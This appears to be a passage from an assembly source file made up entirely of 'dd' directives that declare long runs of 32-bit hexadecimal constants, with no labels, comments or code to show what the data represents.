dd 9F2EA800h, 1A365B1Dh, 0D3E0A1h, 61B7DC1Eh, 5C2C6CA3h
dd 9700C3F0h, 0E04E76C0h, 482B2410h, 0A400140Ch, 1ABD9A0Fh
dd 0C400ED75h, 81C722ADh, 0FAE88684h, 3A293C16h, 0F8B91E83h
dd 8DA82708h, 0EF00D3DCh, 7FD4415h, 2E420BCAh, 0E6C755h
dd 39D52C2Eh, 7B7DF36Ch, 90EC1EFCh, 6A193F61h, 0D1D14863h
dd 1C5EF9C4h, 4F4BDCEFh, 0E5AE65FDh, 0A1DFC73Dh, 0E74AB091h
dd 0DBEC3915h, 0BC03660Eh, 713C00D2h, 0E4CC826h, 425DBA17h
dd 45804BC0h, 2500ADFCh, 54133DF5h, 6076E8A9h, 55C810FBh
dd 0C600F0AAh, 82A4E725h, 0F4C78F1h, 911DA9Fh, 7AA060CEh
dd 2E5FBD01h, 29042400h, 0CEF1FCA3h, 0BE060040h, 0B6D3A115h
dd 0AD395DABh, 0D44A8068h, 0B5CE24FCh, 0A1830091h, 16ABBA0Ch
dd 0F073261h, 86343D97h, 0E925230Fh, 18C4881Fh, 49B40037h
dd 0F18FA6FEh, 0B8F0472Bh, 7F2E7900h, 0BED3AB41h, 625D005Ch
dd 8F66C005h, 31077009h, 4FECD1B2h, 0C3A2A981h, 0F25B88C0h
dd 0C67B0050h, 0E4C822EDh, 0A10A8757h, 0A4A6D19Ah, 682C4602h
dd 0C1164016h, 4A931DD9h, 7FE24057h, 14FC1017h, 0A93A2E01h
dd 9EBFC55Ch, 873DC0h, 9DB87851h, 42DEEBC3h, 0A6006A70h
dd 552EC52Fh, 0EE4CA07Eh, 277C0004h, 0A3B76701h, 1F00EC8Eh
dd 0C09661C6h, 14098773h, 0FAB38413h, 0FBD47400h, 0FA0A239Eh
dd 2316B00h, 0E34312DBh, 5AA6009Ah, 0E401C20h, 49253B2h
dd 0A97C5400h, 0FB5CB8FFh, 0E1390393h, 4DBFA00Bh, 8646F5D0h
dd 0ED03851Eh, 0E85CCB40h, 0CCC6CEh, 0D3D9E2F6h, 0F5AEF00Fh
dd 0C20027F4h, 0A345E880h, 48D8643Ch, 1A240516h, 27E3AC38h
dd 0BD02E3D0h, 0D12646CDh, 3CDB40BFh, 0EC1415DFh, 8F04A0BBh
dd 8026AF73h, 0B7940968h, 901BCF00h, 8C685CD2h, 0F8F30087h
dd 0B1B3AD40h, 18C0BF7Bh, 7FDEB528h, 7CD30033h, 0C7CB5A70h
dd 0ED267DE6h, 10018248h, 9108F25Bh, 0CA005571h, 12C2265h
dd 0F9869CDAh, 0CC27BFDFh, 6F00FC78h, 20E34B06h, 729E2B2Ah
dd 79FE028Eh, 0B61E6091h, 0DEC4FD60h, 491DE700h, 862C1610h
dd 0D6F0004Dh, 0AF7863D4h, 370083EEh, 0F6EAABB7h, 0CEC520h
dd 28E9162Eh, 3850FC77h, 250DD000h, 0FBB48CA4h, 919F002Dh
dd 18DEA362h, 7D0058DBh, 618B52B2h, 0E0D7B87h, 67FA3B06h
dd 535451C0h, 0C300B79Eh, 4BCE6EE5h, 58848DA7h, 0DE00608Bh
dd 4AECC8CAh, 36002C99h, 0A012DD74h, 7656103h, 8801E5E0h
dd 1326E070h, 3E009F68h, 0E9F3894Eh, 7167CB0Eh, 0EBE50141h
dd 74AEE205h, 8324FC4Ch, 0B1208C01h, 519C7F7Ch, 80F860h
dd 15B729E6h, 0A0F5C96Dh, 9014B324h, 0C249007h, 88E4BA03h
dd 7B9B856h, 52F75815h, 0CD98E064h, 0D9773B4Bh, 0F26CDF00h
dd 0F9487A57h, 385600E3h, 0E461FD40h, 950059EAh, 0B5F58296h
dd 3152692h, 0B8C1B7E0h, 1BE874F6h, 6700B64Eh, 683453ABh
dd 1E9F5A60h, 0C06CE1E0h, 6977D4ECh, 0CA00EFE9h, 0C71E6D23h
dd 7F47968Dh, 0C0280146h, 0C50DD848h, 4A31CC81h, 38229180h
dd 4580AF8Dh, 0A0A35543h, 0D5014B16h, 67875320h, 0EB406AFEh
dd 0F01912Bh, 0F3D746B2h, 0D4C6ECC3h, 8A177DA8h, 0A9D9400h
dd 30D8388Eh, 77D3014Ah, 96734150h, 0FC2CE470h, 10016404h
dd 2CD0F380h, 94F972h, 0A55EB41h, 2B79519Fh, 0A11EFC78h
dd 91019708h, 0B5F06B05h, 0ADF3080h, 0AE664AA8h, 64F7751Ah
dd 0C3D86008h, 68C103B0h, 32CC74D6h, 790D31E6h, 50DDA00Ah
dd 94206083h, 810AF1AAh, 84AC21A7h, 55FB3340h, 30AE69DAh
dd 19322080h, 8E01F659h, 6CE3753Eh, 588C956Eh, 7AA00AA1h
dd 286A053Eh, 107D0C73h, 366670A0h, 6E84A8C0h, 8E62D6h
dd 0F853711Ch, 49DAAA54h, 2FD94F00h, 0BD9613C7h, 0B1AF0026h
dd 43634287h, 0DD1E7632h, 4B008990h, 0C3625020h, 7EAF008Ah
dd 0A6B81CD6h, 1B094E8Ch, 0E8F851Fh, 582B6016h, 896668h
dd 83ED3C99h, 4905C49Bh, 531653Fh, 0C8B77A41h, 62CFC0C0h
dd 7DA60040h, 93AB52B6h, 8D3F94E9h, 442D00C3h, 5890A46Bh
dd 67CA0099h, 20409FBCh, 1F039E66h, 2B93A07Ch, 0FC319088h
dd 0FB2A01ECh, 0B802C365h, 74F07F0Eh, 0B5A300F0h, 93E24727h
dd 3A033E42h, 0B7AC2678h, 0BE3BE0B1h, 1204169Ah, 46DC22F7h
dd 66000497h, 52F0BABEh, 3CB82841h, 0C8841A0Ch, 807F287Eh
dd 960162B0h, 71D8003Dh, 0A1E66687h, 0AB303F8Eh, 0C4EC308Ah
dd 0A784A0D2h, 0D69C0040h, 0E66B624Dh, 38A0DA7Bh, 0E412EBE8h
dd 1040BDA8h, 3C73AEA6h, 550B1234h, 991DAE95h, 0FF219E18h
dd 2E7300B6h, 5BEE0FD0h, 35038D84h, 18DC9742h, 92590096h
dd 0B13E67C7h, 5C902BC1h, 56DEE61Dh, 4A6AEBC7h, 2AF4BA0h
dd 7131C392h, 5B832E3h, 0B53251FFh, 0AF790910h, 32FB40A0h
dd 0BD1834h, 84373D43h, 0CB315C68h, 360225FEh, 30426E19h
dd 9788843Eh, 70B42440h, 4B03D45Dh, 0DA91A77Fh, 0C63F9802h
dd 0C172241Eh, 3C0C8194h, 0E4B35B61h, 3A3F638Ch, 201CD3E3h
dd 2F8324FCh, 0BD6885C4h
dd 0A7800010h, 92BA6D9Eh, 0C04B2C14h, 32F8806Ch, 43E7057Dh
dd 2184304Fh, 232F054h, 0CE93B6E4h, 0D080612Dh, 83F690EBh
dd 0CB349h, 0A77E3941h, 339F5419h, 970920F1h, 40E12109h
dd 30A9007Eh, 790269EBh, 0A2A42860h, 221214C0h, 0D723F4D0h
dd 3F73B701h, 2E0E2334h, 0EA005504h, 3276FD82h, 4C6A00E1h
dd 69D9440Ch, 0F04C1B2h, 97ABD20h, 6A4F8B82h, 0DE3D615Ch
dd 8AC3448h, 1B343E73h, 14EB5C4h, 67A473A0h, 0EC00F8DFh
dd 904D9ED9h, 0C0A7A037h, 19355EC0h, 8EF09284h, 48F1CB20h
dd 0C7022846h, 6BF567C5h, 32659C8Fh, 7A4444ECh, 73B830AAh
dd 0BB34103Ah, 98AFC84Eh, 0E8D9F0FDh, 96BEDE03h, 0CDF58059h
dd 30FBC822h, 0B4117E38h, 9E884C19h, 7E3FE080h, 12E10238h
dd 2021DEDCh, 97C8688Ch, 10F3940h, 6AD7F956h, 0F8BF74EEh
dd 0C2484C5Dh, 44080AD8h, 381B4D1h, 0F253408Ah, 883FF980h
dd 0C664E3CFh, 417238CCh, 0AC21CEFAh, 0B0FDCF60h, 1B00DAA5h
dd 0E3C2216Eh, 60333E95h, 0C589F8C6h, 20E9597Fh, 13131894h
dd 0D81DD415h, 0E30BB5C1h, 30303CC3h, 0CDE28F8h, 20087B60h
dd 12064220h, 3F0BDB0Ah, 34C88028h, 0F029D4B2h, 0F900C123h
dd 0CF059032h, 8760864Fh, 32F15721h, 0E2AA1E6Dh, 607C20Bh
dd 0A8A0A437h, 4BDB5A54h, 0A28A5F00h, 6A9FF729h, 0DCEA0098h
dd 3AC29720h, 7B03B9FBh, 8970812Dh, 0EED80393h, 9E44378Fh
dd 0A035B02Ch, 0B8F66343h, 3CC6F43h, 41558851h, 0D5A8C1FBh
dd 9F0632DAh, 0A784EB60h, 2F4B0031h, 2C6DADA5h, 690205D2h
dd 7B0C738Dh, 95A8A53Ah, 0A04A83h, 0C152DE31h, 5C5D2FF3h
dd 3A03B7ECh, 8AD52847h, 60EEF6h, 3C7CB3F5h, 9A22DEC6h
dd 48D23378h, 902E9405h, 0C78E8C42h, 507844F0h, 4300C0Ch
dd 85D6AE3h, 9E1880A7h, 3849480Fh, 0A220012Ch, 130DCD53h
dd 906A0ED0h, 0B2F3868h, 0D84AD494h, 61703304h, 86708071h
dd 8492C40Dh, 116CE404h, 80C0EC43h, 807DB794h, 2C607049h
dd 1BDB2281h, 8448CAF4h, 1A36C0B8h, 2800FB88h, 7D239EE7h
dd 155F2CCh, 0EB17E127h, 26BD4B2Ah, 32F5020Ch, 67EF057Ch
dd 0ED530090h, 59994332h, 68ADE010h, 3CC0EF88h, 4819B87Eh
dd 0F4E0C82Ch, 88007E43h, 6C5734C6h, 2366F59h, 4409768Fh
dd 0B4472F37h, 7663E5C4h, 9412C8B6h, 943006DCh, 0B8F1B844h
dd 0FA8C1EE0h, 3CF00A07h, 1B540D0h, 0C16A04Ah, 0E420EF78h
dd 846B7A89h, 0E8059444h, 24CA447h, 64FCCF8Fh, 65767Eh
dd 0D1D8B180h, 1672EB6h, 689C958Bh, 80E6E414h, 8297F468h
dd 3A5349B0h, 45DA866h, 655A8300h, 239B3ED0h, 80258C39h
dd 5580A3EBh, 18F0FE7h, 96335E51h, 8088F858h, 0FE40D8E9h
dd 0F97C7B32h, 2A444CE2h, 0E8C0A235h, 1EEE0322h, 0A573949Fh
dd 24B00AA1h, 0EB605338h, 2A0D5DB9h, 0C7840078h, 0F9B9FD12h
dd 0B3498C70h, 583A9664h, 440CB423h, 0DEC1FEECh, 0C1AAD040h
dd 343973A5h, 8432C021h, 73AD86C0h, 2D01AB03h, 0CE946AC4h
dd 78209059h, 0B4F4A09Dh, 20F0D452h, 76004623h, 1664F9CFh
dd 0F4448675h, 0D1D702A6h, 0B980A499h, 77C9C860h, 67530090h
dd 88F226D8h, 0BC8CE000h, 0EC55C5h, 3BA42103h, 5D7C69A2h
dd 0D91CF14h, 15B304D0h, 9082F72Fh, 486032F4h, 245C19B9h
dd 98E7E320h, 0F0237Eh, 46CE15Fh, 35DE0BF7h, 0A016891h
dd 0B1416BCCh, 0A98EC500h, 0A8260C98h, 6401CBBh, 0E24107D1h
dd 59B70058h, 61B11581h, 4F02520Ah, 983568D7h, 6D65E203h
dd 0F07EE710h, 8F34F2BFh, 0E480A860h, 265CE9C8h, 80849318h
dd 5335D576h, 6CB0FD7Eh, 80632545h, 2830B8A2h, 4517E29h
dd 86F5BFCCh, 532C880Bh, 9BE4EF54h, 0C1C2281Fh, 4843D89Ch
dd 0A0C9B8E1h, 2E6093Fh, 0D75D70AAh, 0A4649283h, 90BC3154h
dd 0C41C070Ah, 0AC12AC40h, 5F3D460h, 6FD2005Bh, 0D30C23B7h
dd 0DD01EAACh, 63CF54F5h, 74706CECh, 267802F1h, 6970344Ah
dd 960D7C50h, 483E4BE4h, 3A61E820h, 9784F07h, 87D4C022h
dd 0E9647C8Eh, 1E35DB0h, 64F7CF7Ch, 88F318E6h, 0D101E5B0h
dd 0AC419C28h, 80CAFB1Ah, 131994BCh, 0C6B8A881h, 2B6D129Fh
dd 738C3ABFh, 0C32A188Ch, 181766C0h, 0B203330Eh, 25686919h
dd 48064EE5h, 10851DFh, 0E140F765h, 240AB26Ah, 0E0F3E320h
dd 0B654A98Ah, 850728DCh, 7B268D5Ch, 5D71400Eh, 66D61C4h
dd 0E44A9BFAh, 8A319164h, 1A75613Ah, 3688F0h, 98103B5Bh
dd 0BC535AF1h, 0B2DF900h, 0DD1A3889h, 0A02900ACh, 117764F8h
dd 9FEA2188h, 0C5524600h, 3344CCA4h, 0D01F48AFh, 8035CB1Ch
dd 964A07F4h, 0F8601404h, 0B2D9F0D8h, 3EE604B1h, 0A2C78B88h
dd 0CCBE1678h, 0D6B8DC00h, 981E65Dh, 97EBC785h, 56D32000h
dd 5C3B54F7h, 0C93F1280h, 12F92086h, 20F9C246h, 0DA8DB1E8h
dd 0C4042398h, 0E890ECACh, 0AFE2DCA2h, 0C84F30h, 0CE972210h
dd 0F18257E1h, 4C62693Dh, 0C4C30048h, 0BD21B4B0h, 454902BFh
dd 0BDEFB52h, 0E04BFC44h, 704C1C41h, 0F0646A39h, 7830489h
dd 0C2D6935Ch, 58111Ch, 6F73E306h, 0F4189F9h, 5B23565Ah
dd 0D04847A7h, 7A97BD55h, 0EBE5020Ah, 0B34068E3h, 21343B73h
dd 0B1914EC3h, 73BC1D70h, 84944099h, 0B96EB432h, 22906C60h
dd 3D05EBB7h, 0FB28BA20h, 3F8020D8h, 786BE84Bh, 6AF43600h
dd 6FF0A0C8h, 65106900h, 0EB7DC335h, 0C7251364h, 0C68029Eh
dd 0E48A6814h, 0F44676D4h, 1048FC00h, 5D5E9DAFh, 0D0668630h
dd 0C95BE7DBh, 0B840F6C0h, 6F0E1159h, 520C18D6h, 5D685C02h
dd 83050ECh, 0ACB4340Ah, 0DC5CAD00h, 133ECBF3h, 251BF08h
dd 0A6EFCC64h, 4AFB300h, 49EE40C4h, 0A4A86D24h, 0E3DC3884h
dd 1F454CD0h, 414189Fh, 0CE8DB0DEh, 0B85EC928h, 5C92F824h
dd 188B2B92h, 304B7984h, 0AD886CFh, 0B3A855C1h, 0E6F680BCh
dd 0AF5F4FB1h, 8C5CA779h, 0F8F04CCh, 68023FE4h, 0D468E5C5h
dd 1F011BD8h, 0B0C82216h, 0EC382BAAh, 1D8C86B8h, 0C1127A19h
dd 7FC8F9B8h, 0EB2824C5h, 6AE49400h, 0C1FB019Bh, 13B6126Fh
dd 9DF81E9Ah, 6E0700C2h, 0FB3A7CB4h, 0AC560504h, 0D4827BD7h
dd 4ECCCF0h, 19B57E3Bh, 203D6244h, 127E42F3h, 655E1100h
dd 9831B518h, 0C27102BAh, 0D8688059h, 19382468h, 30A12F01h
dd 74B5D7C6h, 0D1A2A884h, 519B8649h, 0C72EDE74h, 0AC85F04Bh
dd 0D45F6EF9h, 8F6B8240h, 0AA0EB52h, 46940B19h, 177C3CF4h
dd 54B7130h, 22C48628h, 0E430BCECh, 5890832h, 78645187h
dd 32FC5040h, 0C100D9E3h, 49C82A56h, 240AA9CEh, 1F68FF62h
dd 0A4B0E0EFh, 20C9144h, 5C4AAB56h, 0AC72BF3Ch, 6035DD44h
dd 6B9D999h, 0D000B1D6h, 0AFBC9C94h, 9314D11h, 0EAC98B8Fh
dd 0E466C0A9h, 60F2E09Fh, 8A9A1258h, 188CC197h, 117E90Bh
dd 91606886h, 80E09653h, 0F964C905h, 8A60022Ah, 0AAA2E49h
dd 25B400F7h, 0D9F10F0Bh, 44617A09h, 0F53A7BB6h, 4B94DC70h
dd 23502FAAh, 52F600FFh, 4BC868AEh, 541EAA4Ah, 2174C02Eh
dd 14894B7Ch, 22798047h, 11CE88h, 3CCC6525h, 0B2B46F67h
dd 518CBA3Ch, 9ACC0778h, 428000C3h, 75EDD9E1h, 1FDE3B13h
dd 201888C8h, 8C1250E8h, 0C040D625h, 0B29C637h, 0DCD894B8h
dd 8088960Fh, 67C5E1EDh, 890097A5h, 0A8B13D8Bh, 0BB256A02h
dd 300C44B5h, 0E88849ACh, 0CA308E12h, 9DC294Ah, 0F3832DA8h
dd 0B891989Dh, 2463EC80h
dd 3B005D18h, 6DDE860Fh, 290F25Fh, 9F087049h, 0F0418E59h
dd 83E18F1h, 1C19AE7Eh, 0EE4448C4h, 0BC00C045h, 1D747BC6h
dd 0EC44060Ch, 4FDCC83Bh, 2118570Dh, 7D6449D4h, 725B003Ch
dd 4A7A1490h, 0FC6C1CE1h, 34590543h, 8EC442E2h, 4470D740h
dd 0CF201100h, 580A9FEEh, 32E890F7h, 0C4614B5Ah, 0C90FD423h
dd 21C08C40h, 0DCAA0C58h, 0AFE0CC34h, 0B6463C90h, 8F32FA02h
dd 7A31D705h, 32F25610h, 5B0FBEECh, 0C03948BBh, 9E686EDh
dd 270CEE9Fh, 0A02761CCh, 475D245Ch, 7C48D3CAh, 0B300F346h
dd 0BD9EA8ECh, 0A93037E5h, 12CEE1BAh, 647C0005h, 0E2517D34h
dd 0CB09A3E4h, 8048680Ch, 0A79BBE88h, 0BBB01F9h, 55F33397h
dd 0DE9C318Ah, 850CDC01h, 90A98052h, 1F15E2CCh, 988488h
dd 0F420BE08h, 4D03650Ch, 9C1B40CDh, 151489B3h, 9084682Ch
dd 73BA30AAh, 0AB341038h, 0C28BB04Eh, 3CD11E73h, 354C84E0h
dd 349CC74Bh, 0C23600FAh, 4114289h, 3C06D15Ah, 0AE6CE4C8h
dd 0F0418E11h, 4344CE0Ch, 8060F936h, 0B16075C9h, 19EC0774h
dd 10374A4Eh, 11F40DE3h, 89D270Eh, 1CC0561Ch, 60A57AACh
dd 13913852h, 0E4001B7Fh, 0DA5D45CBh, 5439989Ch, 26479C82h
dd 6E0C8EF5h, 40E43FCAh, 0C5982211h, 0E88C2658h, 0C008CA4h
dd 9B601045h, 30C263D3h, 16218B8Ah, 5400B888h, 19722638h
dd 2FBCEE5Eh, 0CC17ECA5h, 0D585A411h, 388004B1h, 0D68014Fh
dd 3C30A14Bh, 0A475488Ah, 90A16C22h, 8F618C2h, 0F7057B32h
dd 524078C4h, 9E6E32EEh, 0F28AAA03h, 6135398h, 5734ECA1h
dd 0D76468C1h, 30CBEB50h, 0E4C0A4C8h, 0A118EABh, 4CA59295h
dd 40C580DCh, 6D5637E1h, 18853900h, 0C7F52C81h, 0B47A4C23h
dd 1109F322h, 4130E556h, 0A06953F4h, 2E84B100h, 4738B892h
dd 0CE50F6E8h, 3B40BC94h, 7EEC26BAh, 0B74674B8h, 0A0296700h
dd 9D828A40h, 0CA2EF909h, 407C9283h, 0E7ADDFCh, 24198E1Bh
dd 6090AAA9h, 0B80B0133h, 855F0F1Eh, 90137BC4h, 64CBC012h
dd 40CFE5C8h, 622669CDh, 495B7D11h, 0F890680Eh, 464386E8h
dd 0F8037701h, 20CFC42Ch, 13241980h, 0DE81E4FCh, 0AED6BC5Ch
dd 897A3026h, 2168768Eh, 37900206h, 0BC81AD1Ch, 258FF38Ah
dd 0DEAC4B18h, 86C203E3h, 7C0B7AAh, 3725CB40h, 9F74005Fh
dd 0C0FD5360h, 16611C81h, 0C5076329h, 0AFB3DC12h, 0DA8B4E70h
dd 4A140430h, 0A4EC316Ch, 0B0016A84h, 3490CB01h, 907D0F9Dh
dd 7F31304Ch, 50BFA9C9h, 80011BE4h, 2CC6093Ch, 3E428419h
dd 0EA34E1C3h, 44F3C044h, 0E83184A2h, 1188022Ah, 4D2C68Eh
dd 92B1CE3Eh, 9C81495Eh, 79A6EA70h, 0C0503F8h, 497781F9h
dd 756ACA00h, 0F257D373h, 39C37D07h, 2B81A9C9h, 0DB2C101Bh
dd 2C67C919h, 0ECF90A98h, 7F048B5Ch, 0F0E2D6A7h, 7498F222h
dd 7B014346h, 0DE64F8CFh, 0AD090B74h, 3F00D1E4h, 404F7A05h
dd 0FFA85A15h, 5EBD00A0h, 0E66B667Dh, 2E2C4A80h, 387923D8h
dd 0B883E580h, 0FB811015h, 0DE0690BEh, 499320h, 331D5D8h
dd 0A9A65471h, 0BD599E00h, 1C95D221h, 0E4533F49h, 85E2DD82h
dd 3CF2F9EEh, 0B458F000h, 4C4A69F3h, 0CC3A002Ah, 8D5C5562h
dd 0AC913DA8h, 0C81884D1h, 0D8347605h, 34F46489h, 59D60049h
dd 8C31A37h, 0E14E0F9Eh, 0FA23C83Eh, 8E687A0Fh, 18238009h
dd 0A0E94803h, 7F8059F0h, 7670BE89h, 0B5004846h, 0BFB356D2h
dd 34FDA7E1h, 400F7D4h, 37B978A5h, 997C254h, 440AB273h
dd 0D6A2010h, 1898C77Ah, 80D44148h, 115AD9E1h, 80B34DF5h
dd 0CF56DC00h, 0F80B3CCBh, 0DA8850Fh, 0B0CFD613h, 0AC2AF88h
dd 9754C0D7h, 24E482A6h, 7A02AF01h, 0BA857851h, 1980AEFDh
dd 2066F289h, 25074ABDh, 0DCD5FB24h, 0E4F8E509h, 71C164C2h
dd 0E6E4499Eh, 126B9804h, 801B6FC7h, 8131824h, 1390485Dh
dd 81149B6Ah, 48C74B4h, 64DECF89h, 0B014A8EEh, 3CF7A9Fh
dd 8AAD5722h, 92B2DE6Fh, 0C0700A22h, 0AA968F08h, 8CC480h
dd 2BE1CD51h, 0C2B5B45Eh, 5F494C00h, 51EC628h, 0DC181312h
dd 0DDD800A8h, 0D83D8584h, 4C00755Fh, 0ADAE25A1h, 0B0906E3h
dd 7094FAC7h, 3CFB0C04h, 388014D5h, 533A7B42h, 0BC201C3Eh
dd 149A76F4h, 0B677C700h, 96E660D6h, 890C2h, 1473555Ch
dd 8C340A4Fh, 258BA09Eh, 0E05C437Bh, 4076C0Bh, 794D6036h
dd 40E5843Ah, 0B12DD988h, 9F01C9A3h, 89AB6FF9h, 0A2ED070Ch
dd 0A3E8B02Ch, 0D43E038Ch, 0ACF18AE6h, 0CF60C89Dh, 98D5A700h
dd 76A03E9Dh, 0C22E0010h, 3651579Ah, 8E07F3D1h, 0DE9F1EC5h
dd 0C33568F1h, 94A80C64h, 0D03280F8h, 2839B6F8h, 0DB0042F6h
dd 0CF028A43h, 7B5261h, 0F2AA6DCh, 8DCD6FC8h, 58FAA4A3h
dd 0DAF8FC74h, 33ED0704h, 0F0850702h, 929408D4h, 8000D17Ch
dd 953DE829h, 0EBE72Eh, 0A9FF44DFh, 218C90C6h, 0E00020E8h
dd 0CD28E5FDh, 368010h, 0DC87FF4Bh, 0E3193B14h, 0D0C6CB4Ah
dd 0CA116E0h, 49F881C4h, 0BC8696Bh, 6167E318h, 7C3A3D64h
dd 4486F49Ch, 442708D8h, 5E2C80A0h, 9D1731BDh, 180F8818h
dd 54A13024h, 0F6838582h, 23209EC2h, 2C16843Eh, 7D8800CBh
dd 5D6355C1h, 3E1DD5C0h, 0DB001B41h, 7711167Fh, 80B6CE1h
dd 97053F99h, 80F891E8h, 99C15512h, 0A3CD18E0h, 3A745022h
dd 20112F04h, 0F08215B5h, 5C00E2D0h, 0E0878238h, 0C4566393h
dd 38B484C4h, 0CCF8FBh, 412311FEh, 93AFF287h, 0D112B501h
dd 66B82FE2h, 90B7064h, 9B924043h, 315B459h, 3EF7A864h
dd 0C6049C22h, 0C0B6F5FCh, 5E1E027Ch, 11781D9Dh, 72678048h
dd 13866922h, 3A769E09h, 3FFA2394h, 23815C38h, 0B223EDCh
dd 0E86424A8h, 340FEF5Fh, 0CBD0409Ch, 1643AACDh, 4020EC33h
dd 0D95E9850h, 0EF2634E4h, 0A91344A3h, 6F7284F4h, 6AE308EDh
dd 73E24103h, 0F94F1464h, 0B08074D0h, 0BB2000CBh, 0F769381Fh
dd 0E425937Eh, 0FF4EB37h, 4B0AB040h, 5A8EA748h, 5F39A160h
dd 0AC7084FFh, 0DECB378Dh, 86F047D9h, 0B5F08941h, 284C9258h
dd 111328B3h, 0E88BE539h, 0C5C09E88h, 47F84BAh, 0ECAEF188h
dd 0F20CF290h, 464D30B4h, 0A50B8501h, 0B70A2F59h, 909C0F70h
dd 4BCC2ED0h, 19C00214h, 0C8A324FBh, 94D96AFCh, 33AC5012h
dd 0C858D570h, 0D00A009Ch, 0E7356A9Eh, 0BA89805h, 66D40B62h
dd 0EB9AFCA0h, 51C99BC5h, 8724D34Dh, 70CEA3CAh, 6C5B124Ah
dd 0F753E1Eh, 0F12D0EC9h, 189E7930h, 45240556h, 0B468F3E0h
dd 0A3011100h, 0F67C3080h, 3180ADA7h, 54C35D6Fh, 4639D3E6h
dd 1F940002h, 0C9E87DDCh, 0A45C0951h, 0B8D19D2Dh, 1BDE5B80h
dd 1214C6D5h, 0F20C4A88h, 0E4BE2558h, 56F084h, 54E9B98Dh
dd 3F04D42h, 4CC9C4Dh, 2AFA8EF9h, 7DE148B2h, 480C4Bh, 0DFBEF17h
dd 341C6ED0h, 0B8340773h, 0C404A053h, 88849FD3h, 7BF2C0F2h
dd 72A330h, 0DE509723h, 0C6B69E4h, 9E5C4413h, 4B6768D0h
dd 0D02F807Fh, 4F3C3650h, 10D88F41h, 13809E40h, 6CCA48Ah
dd 0D7C95207h, 60CE7D29h, 5FB8CFA1h, 0E73C1C7Eh, 0F06CCFAEh
dd 0ED9C61D3h, 0F22C3209h, 3A7D30F3h, 386E1303h, 0E3311AD2h
dd 4182D268h, 2039F838h, 0C091451Fh, 0BD75B54Eh, 9A7EAFB6h
dd 74795600h, 0EBA8BC06h, 285D2F6Ah, 0A0292880h, 4EF809D7h
dd 1F38EF50h, 7CCD7B00h, 526BE2D6h, 0C6840047h, 40C313AEh
dd 0E3FE2211h, 0EE00097h, 90835765h, 794912A0h, 0A7E0E06Bh
dd 25C54A40h
dd 488AE5D7h, 0D649C12Ch, 39B4359Ah, 12CAC4Ch, 5CCCA732h
dd 3B12BCE4h, 0C78AF401h, 0E048A273h, 0A99E40E7h, 0C242097h
dd 399A0370h, 3C2797D2h, 7A24B8C6h, 465E602Ch, 9DCB3F79h
dd 0C86E9B3Fh, 6AA9EC18h, 0F52900A9h, 0FB257522h, 0F49821ADh
dd 4ABBA4Dh, 907F2444h, 0E6D280F9h, 6A94E068h, 9F24042Dh
dd 0F80BEBE9h, 200F800Ch, 771276A7h, 0F8979596h, 7F81B891h
dd 0CC7DD89Bh, 8B48D641h, 0C8DF27A0h, 0B57AB9C4h, 4891FC1Dh
dd 3C533180h, 810FA7B2h, 9DD83432h, 8609C868h, 0D90C7BDEh
dd 42FB928h, 0FF118817h, 6AAF2181h, 482C3008h, 0FCB580h
dd 5C6FAEDBh, 3849EC56h, 51BF1003h, 0DE717E46h, 3EED46D0h
dd 19BA893Ah, 60D4F13Ch, 0F07E41CAh, 0ED421802h, 7CA22205h
dd 4E76EFCh, 8C2409D0h, 0D70CF941h, 0AFC814CAh, 0DEF53DC0h
dd 7CC858BEh, 0B0031905h, 0B1CC21EEh, 0EDC3017Dh, 8D2C606Ah
dd 25C5719h, 0BB1B811Ch, 0C9F12139h, 0D9030432h, 0FD480307h
dd 7C2259BFh, 80D25440h, 6247F400h, 37018E22h, 9F7A2Dh
dd 3590C45Ah, 0C169B9E6h, 0DEC63D05h, 6CA40D86h, 800B17EDh
dd 0D4203035h, 0E30053B5h, 0E164096Bh, 48A8B16Ch, 6A12A642h
dd 3E24F194h, 14F27464h, 0F9C098B7h, 0EE4D6392h, 4B030C3Ch
dd 0DF21694Ah, 0F8F8A95Ch, 0E5018CF6h, 0CB475C89h, 133E420Eh
dd 9B5C13A8h, 0F928C0B0h, 5E906B8h, 57DB22FEh, 0A054A850h
dd 943724DFh, 5E7C80D0h, 77AC508h, 0C8D64E5Ah, 0E13003F8h
dd 195BBCCEh, 0FC88A8D0h, 60860C01h, 3A7C9BC6h, 61B7D041h
dd 4EF6C848h, 0A35088C1h, 6733B500h, 5D50FAA0h, 7ED44860h
dd 89190174h, 0B3C10DE1h, 40488992h, 59FC9AAFh, 18BA7984h
dd 0DFC60B29h, 18146679h, 0F75ED09Ch, 631E7618h, 0A2C0A583h
dd 8CC2DEFAh, 308F5CADh, 79AA3C10h, 97972AFAh, 89851190h
dd 78E4E3h, 0F28FBD4Ah, 1FB421E8h, 94195000h, 0C4E4FB43h
dd 64B04886h, 64F53F01h, 73BB3335h, 4684E168h, 0C8F80F0Ch
dd 6BE1D716h, 0CBC1B840h, 74BB57Dh, 13184C87h, 0CE01C4C4h
dd 0C0B4C82Ch, 0F9DABCDBh, 85C83CA3h, 0AC77493Dh, 147D2F0Fh
dd 0CC1C0326h, 0FE81FC8Dh, 0D220CA20h, 683795C7h, 37969C81h
dd 90B2A1C6h, 0F520A340h, 68E102h, 10354F60h, 3C38C222h
dd 32C35D01h, 6FEA2699h, 3E30306Eh, 610CE9E4h, 89C6CA8Eh
dd 7035B505h, 0D6EB80BAh, 5167C66Ch, 8913857Eh, 123483Ah
dd 2450AA02h, 2950E85Fh, 9CB70440h, 0E00E1121h, 0B5134C08h
dd 243A8917h, 803AF823h, 70884731h, 9026775Fh, 6D7D2EACh
dd 803350D0h, 6684C511h, 0E0D0A6D2h, 2FA8884h, 68A84A94h
dd 78D6C1AFh, 4AC501DCh, 83E30B74h, 70A986E7h, 25C07581h
dd 6841D00Ah, 48921842h, 7638B0CFh, 0B2C08CD2h, 0E14CD1E3h
dd 0DDA02400h, 49947097h, 0A621ECEh, 9054921Ch, 7DABCB1Ch
dd 11701D95h, 4F888F87h, 0C86A50Dh, 31808E4h, 8FCE757Eh
dd 0A0A3BC60h, 0C6306002h, 8094A96Fh, 3C0A04C0h, 88516110h
dd 480C9FC2h, 0AE17F49Ch, 50B64F89h, 0AA5E4E0h, 44627B1Dh
dd 1A375540h, 0C31696Ch, 8CA96E94h, 0FB131880h, 7CB0E860h
dd 9B3B4F6Ah, 0B150801Ch, 160BA524h, 90644A79h, 87E322D8h
dd 4AC53C40h, 80E8DBF9h, 6361DB68h, 7004BB05h, 500319A7h
dd 677DC045h, 8A72E106h, 0C8800914h, 7BE868C1h, 7400C06Bh
dd 3260CDCEh, 5C941610h, 50BCDB52h, 0F00B8F5h, 22117B02h
